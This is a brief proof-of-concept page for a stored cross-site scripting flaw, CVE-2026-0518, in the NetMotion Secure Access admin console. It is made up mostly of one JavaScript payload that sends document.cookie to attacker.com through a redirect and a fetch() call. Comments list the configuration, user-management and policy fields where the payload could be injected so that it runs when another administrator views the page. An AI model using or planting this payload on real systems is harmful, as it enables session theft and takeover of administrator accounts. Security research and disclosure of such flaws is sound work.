CVE-2026-0518 NetMotion Secure Access跨站脚本漏洞

// CVE-2026-0518 PoC - Stored XSS in NetMotion Secure Access // Note: Requires administrator privileges // This PoC demonstrates the XSS vulnerability in the admin console // The attacker injects malicious JavaScript that executes when another admin views the page // Example malicious payload that could be injected: var poc_payload = ` <script> // Steal session cookies document.location='https://attacker.com/steal?cookie='+document.cookie; // Or perform actions on behalf of the admin fetch('https://attacker.com/log?data='+btoa(document.cookie)); </script> `; // In practice, the attacker would inject this via: // 1. Admin console settings/configuration fields // 2. User management fields // 3. Policy configuration areas // 4. Any field that doesn't properly sanitize input // When another administrator accesses the affected page, // the script executes in their browser context